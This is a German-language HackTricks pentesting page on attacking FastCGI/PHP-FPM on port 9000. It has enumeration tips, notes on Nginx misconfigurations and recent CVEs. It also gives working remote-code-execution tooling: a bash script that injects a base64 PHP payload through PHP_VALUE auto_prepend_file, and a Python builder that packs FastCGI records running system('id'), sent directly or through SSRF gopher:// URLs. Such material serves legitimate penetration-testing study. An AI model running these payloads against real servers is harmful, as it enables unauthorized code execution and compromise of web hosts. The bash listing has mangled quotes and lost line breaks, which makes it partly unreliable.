9000 Pentesting FastCGI
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Wenn du lernen möchtest, was FastCGI ist, sieh dir die folgende Seite an:
disable_functions bypass - php-fpm/FastCGI
Standardmäßig läuft FastCGI auf dem Port 9000 und wird von nmap nicht erkannt. Üblicherweise lauscht FastCGI nur auf localhost.
Enumeration / Schnelle Prüfungen
- Port-Scan:
nmap -sV -p9000 <target>(zeigt oft “unknown” service; manuell testen). - FPM-Statusseite prüfen:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(Standard php-fpmpm.status_path). - Über SSRF erreichbare Sockets finden: wenn ein HTTP-Service für SSRF ausnutzbar ist, versuche
gopher://127.0.0.1:9000/_...Payloads, um den FastCGI-Listener zu erreichen. - Nginx-Misconfigs:
cgi.fix_pathinfo=1mit Fehlern infastcgi_split_path_infoerlaubt,/.phpan statische Dateien anzuhängen und so PHP zu erreichen (Codeausführung via Traversal).
RCE
Es ist ziemlich einfach, FastCGI beliebigen Code ausführen zu lassen:
Sende FastCGI-Anfrage, die ein PHP-Payload voranstellt
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
oder du kannst auch das folgende python-Skript verwenden: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher zu FastCGI (wenn 9000 nicht direkt erreichbar ist)
Wenn du nur ein **SSRF**-Primitiv kontrollierst, kannst du trotzdem FastCGI über das gopher-Schema ansprechen und eine vollständige FastCGI-Anfrage konstruieren. Beispiel Payload-Builder:
<details>
<summary>Erstelle und sende eine gopher FastCGI RCE payload</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Konvertiere payload in URL-sichere Base64-/Percent-Encoding und sende es über gopher://host:9000/_<payload> in deinem SSRF.
Hinweise zu jüngsten Problemen
- libfcgi <= 2.4.4 integer overflow (2024): manipulierte
nameLen/valueLenin FastCGI records können auf 32-bit Builds (üblich in Embedded/IoT) überlaufen und zu Heap RCE führen, wenn der FastCGI-Socket erreichbar ist (direkt oder via SSRF). - PHP-FPM log manipulation (CVE-2024-9026): wenn
catch_workers_output = yes, können Angreifer, die FastCGI-Requests senden können, bis zu 4 Bytes pro Logzeile kürzen oder injizieren, um Hinweise zu löschen oder Logs zu vergiften. - Classic Nginx + cgi.fix_pathinfo misconfig: noch weit verbreitet; wenn
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;ohne Dateiexistenzprüfungen verwendet wird, wird jeder Pfad, der auf.phpendet, ausgeführt, was Path-Traversal- oder Source-Overwrite-artige Gadgets ermöglicht.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


